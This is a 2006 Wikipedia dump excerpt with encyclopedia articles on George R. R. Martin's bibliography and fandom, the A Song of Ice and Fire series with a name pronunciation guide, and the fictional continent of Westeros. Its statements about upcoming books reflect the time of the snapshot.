In [[1996]] Martin returned to writing novel-length stories, beginning his lengthy cycle ''[[A Song of Ice and Fire]]'' (ostensibly inspired by the [[Wars of the Roses]]), to great critical acclaim.  In November of [[2005]], ''[[A Feast for Crows]]'', the fourth book in this series, became ''[[The New York Times]]'' #1 Bestseller and also achieved #1 ranking on ''[[The Wall Street Journal]]'' bestseller list.

==Themes==

Martin's work is rarely cheerful; critics have described it as &quot;dark&quot; and &quot;cynical.&quot; &lt;!-- Grossman reference here --&gt;  His first novel, ''[[Dying of the Light]]'', sets the tone for his future work;  it is set on a mostly abandoned world that is slowly becoming uninhabitable as it moves away from its sun.  This story, and many of Martin's others, have a strong sense of melancholy.  His characters are often unhappy, or at least unsatisfied.  

His characters are also multi-faceted, each with surprisingly intricate pasts, inspirations, and ambitions. No one is given an unrealistic string of luck, however, so misfortune, injury, and death (and even false death) can befall any character, no matter how attached the reader has become. Some of his characters are [[tragic heroes]], meaning they have traits that inevitably lead to their downfall.

==Fandom==
In addition to writing, Martin is known for his heavy [[convention|science fiction convention]] attendance schedule and his accessibilty to fans. In the early 70's, critic and writer [[Thomas Disch]] identified Martin as a member of the &quot;Labor Day Group&quot;, writers who congregated at the annual [[Worldcon]], usually held around [[Labor Day]].

Martin's fan group, the [http://www.bwbfanclub.com Brotherhood without Banners], is known for throwing lavish and raucous parties at the conventions he attends, most notably at [[Worldcon]] and [[Boskone]]. For the last two [[Worldcon]]s running (as of 2005), the party they have thrown has been voted &quot;Best of Worldcon&quot;. 

The Brotherhood Without Banners is sometimes known among other fans as &quot;George's [[Cult]]&quot;, because of their highly enthusiastic and evangelistic nature.  It is also remarkable for skewing relatively young, contravening the general &quot;greying&quot; trend of literary [[science fiction fandom]].  According to the BWB website, the organization currently numbers approximately 500 members.

__NOTOC__

==Bibliography==
===Novels===
*''[[Dying of the Light]]'' ([[1977]])
*''[[Windhaven]]'' ([[1981]], with [[Lisa Tuttle]])
*''[[Fevre Dream]]'' ([[1982]])
*''[[The Armageddon Rag]]'' ([[1983]])
*''[[Dead Man's Hand (novel)|Dead Man's Hand]]'' ([[1990]], with [[John J. Miller]])

*''[[A Song of Ice and Fire]]'' series:
**''[[A Game of Thrones]]'' ([[1996]])
**''[[A Clash of Kings]]'' ([[1999]])
**''[[A Storm of Swords]]'' ([[2000]])
**''[[A Feast for Crows]]'' ([[2005]])
**''[[A Dance with Dragons]]'' (forthcoming)
**''[[The Winds of Winter]]'' (forthcoming)
**''[[A Time for Wolves]]''  (forthcoming)

===Novellas===
*''[[The Hedge Knight]]'' ([[1998]]) - set in the milieu of ''[[A Song of Ice and Fire]]''
*''[[The Hedge Knight#The Sworn Sword|The Sworn Sword]]'' ([[2003]]) - sequel to ''The Hedge Knight''

===Collections===
*''[[A Song for Lya]]'' ([[1976]])
*''[[Songs of Stars and Shadows]]'' ([[1977]])
*''[[Sandkings]]'' ([[1981]])
*''[[Songs the Dead Men Sing]]'' ([[1983]])
*''[[Nightflyers]]'' ([[1985]])
*''[[Tuf Voyaging]]'' ([[1987]], collection of linked stories)
*''[[Portraits of His Children]]'' ([[1987]])
*''[[Quartet (George R. R. Martin)|Quartet]]'' ([[2001]])
*''[[GRRM: A RRetrospective]]'' ([[2003]])
&lt;!-- the doubled &quot;R&quot; in &quot;RRetrospective is not a typo --&gt;

===[[Wild Cards]] (as editor)===
*''Wild Cards I'' ([[1987]])
*''Wild Cards II: Aces High'' ([[1987]])
*''Wild Cards III: Jokers Wild'' ([[1987]])
*''Wild Cards IV: Aces Abroad'' ([[1988]])
*''Wild Cards V: Down &amp; Dirty'' ([[1988]])
*''Wild Cards VI: Ace in the Hole'' ([[1990]])
*''Wild Cards VII: Dead Man's Hand'' ([[1990]])
*''Wild Cards VIII: One-Eyed Jacks'' ([[1991]])
*''Wild Cards IX: Jokertown Shuffle'' ([[1991]])
*''Wild Cards X: Double Solitaire'' ([[1992]]) 
*''Wild Cards XI: Dealer's Choice'' ([[1992]])
*''Wild Cards XII: Turn of the Cards'' ([[1993]])

*''Wild Cards: Card Sharks'' ([[1993]])
*''Wild Cards: Marked Cards'' ([[1994]])
*''Wild Cards: Black Trump'' ([[1995]]) (these three books are a trilogy)

*''Wild Cards: Deuces Down'' ([[2002]])
*''Wilds Cards: Death Draws Five'' ([[2006]])

==Awards==
*&quot;A Song for Lya&quot; 1975 [[Hugo Award]] for [[Hugo Award for Best Novella|Best Novella]]
*&quot;Sandkings&quot; 1980 Hugo Award for [[Hugo Award for Best Novelette|Best Novelette]] and [[Nebula Award]] for [[Nebula Award for Best Novelette|Best Novelette]]
*&quot;The Way of Cross and Dragon&quot; 1980 Hugo Award for Best [[Hugo Award for Best Short Story|Short Story]]
*&quot;Portraits of His Children&quot; 1986 Nebula Award for Best Novelette
*&quot;The Pear-Shaped Man&quot; 1988 [[Bram Stoker Award]] for [[Bram Stoker Award for Best Long Fiction|Long Fiction]]
*&quot;The Skin Trade&quot; 1989 [[World Fantasy Award]] for [[World Fantasy Award for Best Novella|Best Novella]]
*&quot;Blood of the Dragon&quot; 1997 Hugo Award for Best Novella

A more complete list of [http://www.locusmag.com/SFAwards/Db/NomLit85.html#3030 Martin's awards and nominations] can be found at The ''[[Locus (magazine)|Locus]]'' Index to Science Fiction Awards.

==External links==
{{wikiquote}}

General sites:

*[http://www.georgerrmartin.com/ George R. R. Martin official site]
*[http://www.westeros.org/ Westeros: The 'A Song of Ice and Fire' Domain]
* {{isfdb name|id=George_R._R._Martin|name=George R. R. Martin}}

Forums:
*[http://asoiaf.westeros.org/ A Song of Ice and Fire]
*[http://www.chronicles-network.com/forum/george-r-r-martin/ George R R Martin (UK)]


Interviews:
*[http://www.infinityplus.co.uk/nonfiction/intgrrm.htm Infinity Plus interview]
*[http://www.locusmag.com/2005/Issues/11Martin.html Locus Mag interview]


[[Category:1948 births|Martin, George R. R.]]
[[Category:Living people|Martin, George R. R.]]
[[Category:American fantasy writers|Martin, George R. R.]]
[[Category:American science fiction writers|Martin, George R. R.]]
[[Category:American short story writers|Martin, George R. R.]]
[[Category:Hugo Award winning authors|Martin, George R. R. ]]

[[bg:Джордж Р. Р. Мартин]]
[[ca:George R.R. Martin]]
[[cs:George R. R. Martin]]
[[de:George R. R. Martin]]
[[es:George R. R. Martin]]
[[fr:George R. R. Martin]]
[[it:George Raymond Richard Martin]]
[[he:ג'ורג' ר. ר. מרטין]]
[[nl:George R.R. Martin]]
[[ja:G・R・R・マーティン]]
[[pl:George R. R. Martin]]
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[[th:จอร์จ อาร์. อาร์. มาร์ติน]]</text>
    </revision>
  </page>
  <page>
    <title>A Song of Ice and Fire</title>
    <id>12301</id>
    <revision>
      <id>40839038</id>
      <timestamp>2006-02-23T09:32:31Z</timestamp>
      <contributor>
        <ip>129.35.231.2</ip>
      </contributor>
      <text xml:space="preserve">'''''A Song of Ice and Fire''''' ('''ASoIaF''') is an [[epic fantasy]] series of [[novel]]s by [[George R. R. Martin]]. It is the best-known of his works, and has spawned a successful [[A Song of Ice and Fire (card game)|trading card game]], [[ A Game of Thrones (role-playing game)|a Roleplaying Game]] and [[A Game of Thrones (board game)|board game]]. The books are known for a genre-defying willingness to unflinchingly depict [[patriarchy|patriarchal]] and [[feudalism|feudal]] systems, extremely detailed and complex characters, sudden and often violent plot twists, and  intricate political intrigue. In a genre where [[Magic (paranormal)|magic]] usually takes center stage, this series has a reputation for its limited and subtle use of magic, employing it as an ambiguous and often sinister background force.

==The books==
So far, the series consists of 4 published novels:
* ''[[A Game of Thrones]]'' (1996)
* ''[[A Clash of Kings]]''  (1999)
* ''[[A Storm of Swords]]'' (2000)
* ''[[A Feast for Crows]]'' (2005)

Martin has also published two short stories in the same setting, often called ''Dunk and Egg stories'' after their two protagonists. These stories are set about 90 years before the events in ''A Game of Thrones''.
* ''[[The Hedge Knight]]'' (appeared in ''Legends'', ed. Robert Silverberg, 1998), also adapted as a graphic novel
* ''[[The Sworn Sword]]'' (appeared in ''Legends II'', ed. Robert Silverberg, 2003)

===Related publications===
Some of the novels' chapters have appeared previously in collected form in other outlets.
* ''Blood of the Dragon'' ([[Asimov's Science Fiction|Asimov’s]], July 1996) based on the ''Daenerys'' chapters from ''A Game of Thrones''. Received the 1997 [[Hugo Award for Best Novella]].
* ''Path of the Dragon'' ([[Asimov's Science Fiction|Asimov’s]], December 2000) based on the ''Daenerys'' chapters from ''A Storm of Swords''.
* ''Arms of the Kraken'' ([[Dragon (magazine)|Dragon]] issue 305) based on the Iron Islands chapters from ''A Feast for Crows''.

===Plans===
The manuscript for the fifth volume is half-written as of May 2005:  
* ''[[A Dance with Dragons]]''

In a May 2005 statement, the author estimates that the series will require seven volumes. This is an increase from previously stated figures because Martin had to move some of the character arcs of the ''A Feast for Crows'' manuscript into ''A Dance with Dragons'', because the manuscript already exceeded the length of ''A Storm of Swords'', which itself had to be split into two halves for several markets. Martin recognized that this decision could cause frustration among some of his fans. He wrote: &quot;I know some of you may be disappointed, especially when you buy ''A Feast for Crows'' and discover that your favorite character does not appear, but given the realities I think this was the best solution... and the more I look at it, the more convinced I am that these two parallel novels, when taken together, will actually tell the story better than one big book.&quot; {{ref|GRRM-done}} 

Martin originally intended the series to be a [[trilogy]], but later increased that estimate, remarking, &quot;What can I say? It's a BIG story, and a cast of thousands.&quot; {{ref|Legends1}}  When ''A Storm of Swords'' was published, Martin announced that there would be six books. After ''A Storm of Swords'', he began writing ''A Dance with Dragons'', which was intended to take place five years after the end of ''A Storm of Swords'' without the use of many flashbacks, much to the dismay of many fans. However, he later announced that the five-year gap wasn't working, and therefore he would add another book, ''A Feast for Crows'', to pick up where ''A Storm of Swords'' left off. Ironically, his decision to stop writing one book and start another in order to chronicle part of that five-year gap is responsible for a five-year wait for the fourth installment.

Projected titles for the sixth and seventh books are ''The Winds of Winter'' and ''A Time for Wolves'', respectively, although Martin has stated in interviews that he is not entirely pleased with the latter title.

{{ASOIAFBooks}}

==Plot and setting==
{{spoiler}}
''A Song of Ice and Fire'' is set in a fictitious world reminiscent of [[Europe]] in the [[Middle Ages]], except for the fact that in this world, [[seasons]] can last as long as a decade. Driven by members of the [[Houses from A Song of Ice and Fire|Houses]], great and small, the plot is recounted from the perspectives of more than ten main characters and takes place on the continents of [[Westeros]] and the eastern continent, the former being the locale of fierce power struggles between several aristocratic families after the death of king Robert Baratheon, who by lineage, marriage and personal relationships had united them all. Meanwhile, the last scion of House Targaryen, which had ruled over Westeros before being expelled by Robert and his allies, is trying to find allies herself to reconquer the Seven Kingdoms of Westeros. But all of them ignore the oncoming winter and the ancient dangers it brings.

''See also:'' [[List of characters in A Song of Ice and Fire]], [[List of places in A Song of Ice and Fire]]

==Historical and literary sources==
Numerous parallels have been seen between the events and characters in ''A Song of Ice and Fire'' and events and people involved in the [[Wars of the Roses]]. Two of the principal families in ''A Song of Ice and Fire'', the Starks and the Lannisters, are seen as representing the historical [[House of York]] and [[House of Lancaster]], respectively.

Martin is an avid student of [[medieval Europe]], and has said that the Wars of the Roses, along with many other events in Europe during that time, have influenced the series. However, he insists that &quot;there's really no one-for-one character-for-character correspondence. I like to use history to flavor my fantasy, to add texture and verisimilitude, but simply rewriting history with the names changed has no appeal for me. I prefer to reimagine it all, and take it in new and unexpected directions.&quot; {{ref|GRRM-on-history}} 

Martin has also said the [[Albigensian Crusade]]s are an influence for the series.

==Pronunciation of names==
Unlike [[J. R. R. Tolkien]], who provided detailed instructions for the pronunciation of the [[languages of Middle-Earth]], Martin has provided no canonical way of pronouncing Westerosi names, stating &quot;You can pronounce it however you like.&quot; {{ref|pron-general}} However, it is possible to establish some guidelines based on authorial chapter readings and question-and-answer sessions (marked &quot;GRRM&quot; in the following list), and the [[audio book]] adaptations read by [[Roy Dotrice]] (&quot;RD&quot;) and John Lee (&quot;JL&quot;).  Among the multimedia clips of the author speaking, RH indicates the Random House audio interview {{ref|rhaudio}} and FF indicates the Fast Forward television interview {{ref|ffvideo}}. Entries marked with a question mark (?) are probably the pronunciations of RD and/or JL.

The list uses International Phonetic Alphabet (IPA) symbols. See [[IPA chart for English]] to learn about the symbols, and the [[International Phonetic Alphabet|IPA]] article proper for the problems of displaying and entering them.

====Characters====
*'''Areo Hotah''' GRRM-CBC [{{IPA|'ɑriəʊ həʊ'tɑː}}], sometimes [{{IPA|'həʊtɑ}}]
*'''Arya''' GRRM-FF [{{IPA|'ɑɹiə}}], like English ''aria''
*'''Bran''' GRRM-FF [{{IPA|bɹæn}}], like English ''bran''
*'''Brienne''' GRRM-RH [{{IPA|bɹi'ɛni}}]. RD, JL: [{{IPA|brʌɪ'i:n}}].
*'''Caleotte''' GRRM-CBC: [{{IPA|'kælɪɒt}}])
*'''Catelyn''' (?: [{{IPA|'katlɪn}}])
*'''Cersei''' GRRM-RH [{{IPA|'sɝseɪ}}]. RD [{{IPA|'sə:sɪ}}]. JL [{{IPA|'sɪəseɪ}}].
*'''Daenerys''' GRRM-RH [{{IPA|dən'ɛɹɪs}}] (?: [{{IPA|deɪ'n&amp;#603;:rɪs}}])
*'''Dany''' GRRM-RH [{{IPA|'dæni}}]
*'''Davos''' GRRM-RH [{{IPA|'dɑːvos}}]
*'''Doran''' GRRM-CBC [{{IPA|dəʊ'ræn}}]
*'''Jaime''' GRRM-RH [{{IPA|'dʒeɪmi}}] (?: [{{IPA|'d&amp;#658;eɪmɪ}}])
*'''Jojen''' (?: [{{IPA|'d&amp;#658;&amp;#601;&amp;#650;d&amp;#658;&amp;#601;n}}])
*'''Jon''' GRRM-RH [{{IPA|dʒɑn}}],  like English ''John''
*'''Lysa'''  (?: [{{IPA|'laɪsə}}]) &lt;!-- Also, claimed: GRRM: [laɪsɑː] or [laɪzɑ:]. But: (1) where is the stress? (2) reference, please --&gt;
*'''Petyr''' GRRM{{ref|pron-Petyr}} [{{IPA|pi:'tɚ}}], like English ''Peter'' but RD: [{{IPA|pɪ'tʌɪə}}]
*'''Rickon''' GRRM-RH [{{IPA|'ɹɪkɑn}}]
*'''Tommen''' GRRM-CBC [{{IPA|'toʊmən}}], RD, JL: [{{IPA|'tomən}}]
*'''Tyrion''' GRRM-RH [{{IPA|'tɪɹiən}}] (?: [{{IPA|'tɪrɪ&amp;#601;n}}])
*'''Tywin''' (?: [{{IPA|'t&amp;#652;&amp;#618;wɪn}}])
*'''Viserys''' (?: [{{IPA|vɪ's&amp;#603;:rɪs}}])

====Houses and Surnames====
*'''Baratheon''' (?: [{{IPA|bə'rʌθɪən}}])
*'''Lannister''' GRRM-RH [{{IPA|'lænɪstɚ}}]
*'''Snow''' GRRM-RH [{{IPA|snoʊ}}], like English ''snow''
*'''Stark''' GRRM-RH [{{IPA|stɑɹk}}], like English ''stark''
*'''Targaryen'''  GRRM-RH [{{IPA|tɑɹ'gɛɹiən}}] (?: [{{IPA|ta'g&amp;#603;:r&amp;#618;&amp;#601;n}}])
Presumably, bastard names (like ''Snow'' and ''Rivers'') are always pronounced like the corresponding common noun.

====Places====
*'''Asshai''' RD: [{{IPA|a'&amp;#643;&amp;#652;ɪ}}]. JL: [{{IPA|'a&amp;#643;&amp;#652;ɪ}}]
*'''Westeros''' GRRM-RH [{{IPA|'wɛstɚos}}]

====Titles====
*'''Khaleesi''' (?: [{{IPA|k&amp;#601;'l&amp;#618;:s&amp;#618;}}])
*'''Maester''' (?: [{{IPA|'me&amp;#618;st&amp;#601;}}])
*'''Ser''' (?: [{{IPA|s&amp;#601;:}}], like English ''sir'')



==Notes==
# {{note|GRRM-done}} Message on Martin's website, [[May 29]] [[2005]]  [http://www.georgerrmartin.com/done.html It's Done!!!]
# {{note|Legends1}} Martin in post to ''Legends'', [[October 6]] [[1998]]. [http://www.westeros.org/Citadel/SSM/SSM01.html So Spake Martin – Posts to Legends (SSL)]
# {{note|GRRM-on-history}} [http://www.westeros.org/Citadel/SSM/SSM01.html So Spake Martin Report #1]
# {{note|pron-general}} [http://www.westeros.org/Citadel/SSM/SSM03k.html So Spake Martin Report #107]
# {{note|rhaudio}} Random House audio interview with GRRM. [http://a1018.g.akamai.net/f/1018/19019/1d/randomhouse1.download.akamai.com/19019/GeorgeRRMartinInterview.mp3] &lt;!-- This needs a better source--&gt;
# {{note|ffvideo}} Fast Forward video interview with GRRM. [http://www.fast-forward.tv/archive/archive.htm]
# {{note|pron-Petyr}} GRRM at ''To Be Continued 4'' (Chicago, IL), May 6–8, 2005. [http://www.westeros.org/Citadel/SSM/SSM03g.html So Spake Martin Report #61]

==External links==
* [http://www.georgerrmartin.com GeorgeRRMartin.com] - George R.R. Martin's website.
* [http://www.westeros.org/Citadel/ The Citadel] at [http://www.westeros.org www.westeros.org] - extensive archive about the series, including detailed thematic notes, timelines, artwork &amp; [[heraldry]], and correspondence from the author.
* [http://www.towerofthehand.com Tower of the Hand: An Encyclopaedia of Ice and Fire] - A comprehensive treatment of A Song of Ice and Fire with chapter summaries and individual pages for every character, location, historical event, noble house, etc. from the series all thoroughly cross-referenced and hyperlinked.
* [http://amoka.net/eng/gal/ Amoka.net Gallery] of fan-created [[portrait]]s of the Song of Ice and Fire characters.
* [http://asoiaf.vo3.net/ The Seven Kingdoms] - online text based game ([[MUD]]) based on the Song of Ice and Fire series.
* [http://asoiaf.westeros.org Message Board] at westeros.org - extensive topical theory discussion about current and upcoming books.
* [http://www.bwbfanclub.com BwB Fan Club] - GRRM fan club.
* {{isfdb series | id=A_Song_of_Ice_and_Fire | title=A Song of Ice and Fire}} 

[[Category:A Song of Ice and Fire|Song of Ice and Fire, A]]
[[Category:Series of books|Song of Ice and Fire, A]]
[[Category:Fantasy series|Song of Ice and Fire, A]]

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  <page>
    <title>Westeros</title>
    <id>12302</id>
    <revision>
      <id>42091760</id>
      <timestamp>2006-03-03T19:49:08Z</timestamp>
      <contributor>
        <username>RandomCritic</username>
        <id>838239</id>
      </contributor>
      <comment>added [[Category:Fantasy worlds]]</comment>
      <text xml:space="preserve">'''Westeros''' is one of the two continents described in [[George R. R. Martin]]'s fantasy series ''[[A Song of Ice and Fire]]''. It is loosely based on [[Britain in the Middle Ages|medieval Britain]].  

==Geography==

===World===

There are three continents. The story takes place mainly on the western continent, called Westeros. The unnamed eastern continent is home to many ancient civilizations, as well as to many clans of nomadic people.  Eastern civilizations known to the Westerosi include [[Ghis]] and [[Valyria]]. The free cities of [[Braavos]], [[Lys]], and [[Tyrosh]] are cities of Valyrian origin and situated close to Westeros; the Valyria-descended [[House Targaryen|Targaryens]] united and ruled [[Westeros]] for three centuries.

Of the southern continent all that is known that it is inhabited by dark-skinned people and is roughly equivalent to [[Africa]], &quot;jungly, plague-ridden and largely unexplored&quot;. It is called Sothoryos{{ref|s-cont}}.


[[Image:Westeros.png|thumb|right|250px|The continent of Westeros]]

It has been suggested that the inhabited part of Westeros is roughly equivalent in area to [[South America]]. However, there is a large amount of land to the far north that is unmapped, due to the extremely cold temperatures and hostile inhabitants. Westeros is separated from the unnamed eastern continent by the [[Westeros#Narrow Sea|Narrow Sea]].

The north of Westeros is less densely populated than the south. There are five cities on the continent; in order of size, they are Oldtown, King's Landing, Lannisport, Gulltown, and White Harbor.

===Geographical Parts of Westeros===
Westeros is divided into areas, each ruled by a different house, and has different geographical attributes. Each part was one of the [[Seven Kingdoms]], ruled by its own king (except for the Riverlands, who were under the control of the Ironmen at the time of Aegon's conquest).
====The North====
The North is the area north of The Neck, and has been ruled by House Stark from Winterfell, first as Kings of the North and later under Aegon, for thousands of years. Most of its residents still follow the Old Gods, but some, mainly around the area of White Harbor, have taken the faith of the Seven. Its northern border is The Wall, guarded by the Night's Watch.  Notable familes include the Boltons, the Karstarks, the Mormonts and the Umbers.  In the North, bastards are called Snow.

====The Neck====
The Neck is small triangle of swampland immediately south of the North, and sworn to it.  Home to House Reed, it is a natural border for the north, protecting it from invasion.

====The Iron Islands====
The Iron Islands are a group of seven islands in Ironman's Bay, including Pyke, Great Wyk, Old Wyk, and  Harlaw, lying off the western coast of the continent The inhabitants of these harsh isles are known as Ironmen in the rest of Westeros, 'The Ironborn' amongst themselves. They are governed by House Greyjoy from Pyke, chosen to rule the Ironmen after Black Harren's line was extinguished during the Conquest. Prior to the arrival of Aegon the Conqueror, the Ironmen ruled over the riverlands and much of the coast of Westeros. The Ironmen are men of the sea, and their naval supremacy was once unmatched. The Seven of the Andals find small favor with the Ironborn, as their allegiance is given to their ancestral Drowned God.

====The Riverlands====
The Riverlands are the fertile areas between the forks of the Trident. They are the domain of House Tully of Riverrun. The Tullys were never kings of the Riverlands, but were heads of the rebel riverlords who left Harren the Black in favour of Aegon the Conqueror. In the Riverlands, bastards are called Rivers.

====The Vale of Arryn====
The Vale is the area surrounded almost completely by the Mountains of the Moon. The Vale is under the rulership of House Arryn, one of the oldest lines of Andal nobility and, before Aegon's conquest Kings of Mountain and Vale. Their seat, the Eyrie, is a castle high in the mountains, small but unassailable.
Notable Houses of this region include Hunter, Corbray, Redfort, and Royce. In the Vale, bastards are called Stone.

====The Westlands====
The Westlands are the lands to the west of the Riverlands and north of the Reach. They are ruled by House Lannister from Casterly Rock, formerly Kings of the Rock. People of this region are often called 'Westermen'. Lannisport, lying hard by Casterly Rock, is the chief town of the region and one of the great ports and cities of Westeros. Bastards in the Westlands are called Hill.

====The Reach====
The Reach is the fertile ground ruled by House Tyrell from Highgarden. The Tyrells were stewards to House Gardener, the Kings of the Reach before Aegon's conquest. After the last Gardener King was killed on the Field of Fire, the Tyrells surrendered Highgarden to Aegon and were rewarded with both the castle and the position of overlords of the Reach. One of the largest cities in Westeros, Oldtown, and home of the Maester's Citadel, is in the Reach. Bastards of the Reach are called Flowers.

====The Stormlands====
The Stormlands are the areas between King's Landing and the Sea of Dorne. In the east they are bordered by Shipbreaker's Bay. Before Aegon's conquest they were ruled by the Storm Kings, and afterwards by House Baratheon, bastard relatives to the Targaryens. Bastards of this region are named Storm.

====Dorne====
Dorne is the land to the south of the continent. High mountains separate Dorne from the nearby Reach, and the Dornish Marches are notorious for the intercine warfare between Dornishmen and the Marcher Lords of the Reach. It is ruled by the Dornish Princes of House Martell from Sunspear. Dorne differs from the other kingdoms in that its population has much Rhoynish blood, resulting from the historical migration led by the warrior-queen Nymeria. Also, Dorne is the only one of the seven kingdoms to contain significant areas of desert terrain. Dorne was the last land to be added to Aegon's kingdom - it was brought into the realm via marriage and not conquest, and the members of the ruling [[House Martell]] still style themselves &quot;Prince&quot; and &quot;Princess&quot;, a result of the strong Rhoynish influence. The current Prince of Dorne is Doran Martell. Bastards in Dorne are named Sand.

===Seasons===

Westeros is at the mercy of erratic seasons that may last for many years, but whose duration is unpredictable. At the beginning of [[A Song of Ice and Fire]] the continent has enjoyed a decade-long summer, and many fear that an equally long and harsh winter will follow. It is unclear to which degree the eastern continent is subject to the same conditions. [[George R. R. Martin]] explicitly and more than once stated that the explanation of the Planet's climate will be revealed at the end of the series, so he can not disclose any further details on the issue before that point. He also stated that the explanation will be magical in nature and will not involve any sci-fi elements.{{ref|GRRM-on-seasons}}.

*208 AL - Spring
*209 AL – Great Spring Sickness
*211 AL - Summer
*254 AL – Winter
*281 AL – the Year of the False Spring
*288–298 AL – the long summer

==[[Biology]] and [[Anthropology]]==

===Sentient species===
* [[Humans]]
* [[Giants]] of subhuman intelligence. &lt;!-- physiological description needed here --&gt; 
* [[Children of the Forest]] are frequently mentioned, possibly extinct, and have left no political or cultural heritage.
* [[Others]] only appear in the night and when it is cold (at least, according to historical accounts in Night Watch library). The conditions of the north of Westeros appear to suit their needs. Others can resurrect and control the dead; some humans can do this as well. They appear to have superior abilities in combat, but their number and origin is unknown. A remark by Martin caused some additional speculations on their place in the larger cosmology{{ref|oth-al}}.

===Animals===
Other species inhabiting the planet include species very similar to members of the [[Pleistocene]] [[megafauna]] of [[Earth]].
* [[Direwolf]] - larger and stronger than ordinary [[wolves|wolf]] (this is not necessarily true on [[Earth]]), they also exhibits magical abilities.  A group of direwolves plays an important role in the story.
* [[Aurochs]] - large ancestor of the bull; allegedly was used as a mount by invincible Clarence Crabb.
* [[Mammoth]] - inhabitant of far north. Occasionally used there as a domestic animal.

===Dragons===
There are also [[Dragons]], who play an important role in the story. Only three are presently known to exist. They breathe extremely hot fire (only the fires beneath the earth and the summer sun are hotter than it, according to pyromancers). Dragons have no gender differentiation.

==History==
The rough timeline here is given in relation to Aegon's Landing, using negative numbers for events before Aegon's Landing.

; Dawn Age (before -12,000)
: In the Dawn Age, Westeros is inhabited by the fairy-like Children of the Forest, and possibly by Giants in the far North. 
; ca. -12,000
: About 12,000 years ago, the First Men come to Westeros from the Eastern Continent, via a land bridge then connecting the two land masses. The First Men introduce bronze, leather shields, and horses. After initial fights, which include the destruction of the land bridge, they reconcile with the Children. 
; The Long Night, ca. -8000
:At the time of a terrible winter that seems to last for a generation a demonic race called the ''Others'' invade from the north and nearly destroy all men in Westeros. The Others are finally defeated at the ''Battle of the Dawn'' by the men of the Night's Watch. Perhaps this is the time when [[Westeros#The Wall|the Wall]] is built, a giant fortification in the north of the continent protecting the continent from the menaces of the north.
; ca. -6,000
: Another tribe of men, the Andals, invade Westeros with steel weapons and a new religion, the ''Seven''. They fight both the First Men and the Children of the Forest, finally extinguishing the latter everywhere south of the Wall. After centuries of fighting, the Andals establish six kingdoms in the south, while the north remains in the hands of the First Men. 
; ca. -700
: The Rhoynar, led by Queen [[Characters from A Song of Ice and Fire#Nymeria|Nymeria]], land in [[#Dorne|Dorne]], the southern part of Westeros, and mix with the Dornish. The Rhoynar bring no greater political turmoil, though the southernmost kingdoms are heavily influenced by their customs, including equal [[primogeniture]].
; 1
: Two centuries after the Doom of [[Westeros#Valyria|Valyria]], Aegon of the [[House Targaryen]], an ancient Valyrian family, invades, subdues, and unites Westeros.
; 284
: [[House Baratheon#Robert|Robert Baratheon]] starts a [[Wars in A Song of Ice and Fire#War of the Usurper|rebellion]] against the &quot;Mad King&quot; [[House Targaryen|Aerys II Targaryen]]. and with the help of other houses defeats the Targaryen army and crowns himself king.
; 297
: The events of ''[[A Song of Ice and Fire]]'' begin.

==Specific places==
===The Citadel===
The Citadel is the place the order of maesters call home, where they forge their chains with years of study. The Citadel is located in the Reach, in  Oldtown, the oldest city in Westeros. 

===King's Landing===
King's Landing is the capital of Westeros and the Seven Kingdoms, and the seat of the Iron Throne, held (at the onset of ''A Game of Thrones'') by House Baratheon.

King's Landing is surrounded by a wall, manned by a city watch known as the Gold Cloaks, led (as of the beginning of the series) by Janos Slynt. The city has seven gates:

*Dragon Gate 
*Gate of the Gods 
*Iron Gate 
*King's Gate 
*Lion Gate 
*River Gate (Mud Gate) 
*Old Gate 
The interior of the city is dominated by three hills, named after the Targaryen conquerors:
*Aegon's High Hill 
*Rhaenys's Hill 
*Visenya's Hill 
Other significant places within the city include:
*The Blackwater Rush, the river to the south
*Chataya's, a brothel 
*Flea Bottom 
*The Great Sept of Baelor 
*The Red Keep

===Dragonstone===

[[Image:Dragonstone-location.jpg|thumb|Location of Dragonstone]]

Dragonstone is one of a group of islands in the Narrow Sea, close to the Westerosi shore. It used to be the westernmost outpost of the freehold of Valyria, and is the ancient seat of House Targaryen. On the nearby island of Driftmark, house Velaryon is another Valyrian house to survive the Doom.

The island is dominated by a huge fortress, its towers shaped like dragons and decorated with a thousand gargoyles, and an active volcano, the Dragonmont. Beneath the mountain there are rich deposits of obsidian.

Some Targaryen crown princes held the title Prince of Dragonstone, and the holder of Dragonstone was generally viewed as heir to the throne.

===Harrenhal===
{{spoiler}}

Located on the northern shore of God's Eye, a lake in the central part of [[Westeros]], Harrenhal was built by Harren the Black from the Iron Islands. Harren's grandfather, Hardhand, had gained the Riverlands in conquest, defeating Arrec the Storm King.

Harren built the castle to be the greatest in the world: made out of black stone, it was built out of proportion, which, since it was situated on the relatively flat plains, made for an awe inspiring sight. The castle towers were massive and numerous, the great hall larger than most any in Westeros; all of it was built to impress.

Harren had scarcely finished his work when Aegon the Conqueror came with an army. Hearing of the Reach King's army burnt to dust by massive dragons on the field, he hid behind his walls--only to have them be attacked by the dragons, whose fires were so hot they cracked and melted the stone. Harren and his sons did not survive, and his kingdom capitulated.

After three hundred years of relative disuse, the castle has been occupied by numerous houses. At the start of the War of the Five Kings, the owner was House Whent. When the castle was taken by [[House Lannister#Tywin|Tywin Lannister]], it was first awarded to Janos Slynt.  [[House Lannister#Tyrion|Tyrion Lannister]] revoked the award and sent Slynt to the Wall.  Harrenhal was given to [[Characters from A Song of Ice and Fire#Petyr Baelish|Petyr Baelish]] instead, though he has never set foot in the castle. After several months of Lannister occupation, [[Characters from A Song of Ice and Fire#Roose Bolton|Roose Bolton]] conspired with the Brave Companions (a mercenary company in Lord Tywin's service) to take the castle, after which he occupied it in the name of [[House Stark#Robb|Robb Stark]].

The castle's towers have long since lost their original names, now they are known as the Tower of Dread, The Widow's Tower, The Wailing Tower (so named for the blowing of wind through cracks in its wall, making a ghostly wail--some of the superstitious believe it to be haunted by ghosts), The Tower of Ghosts, The Kingspyre Tower (where Harren died with his sons; the largest of the towers).  Harrenhal has been rumored to be cursed, with many of its masters coming to bad ends.

===The Wall===
The Wall is a huge fortification built primarily of ice, located in the far north of Westeros. It extends from the Bay of Seals in the east to the Frostfang mountains in the west, and is extremely hard to cross due to its size. It is 300 miles long and over 700 feet high. It serves as a defense against the Others and wildlings, men and women who do not bow to the King on the Iron Throne to the south. There are nineteen castles along the Wall, although most are not true castles. Only three are manned at the beginning of A Song of Ice and Fire: Castle Black, at the end of the Kingsroad, has the largest garrison, but the easternmost castle, Eastwatch-by-the-Sea, and a far western one, the Shadow Tower, are also manned.  No more than 15 have ever been manned at one time.  The largest and the oldest is The Nightfort.

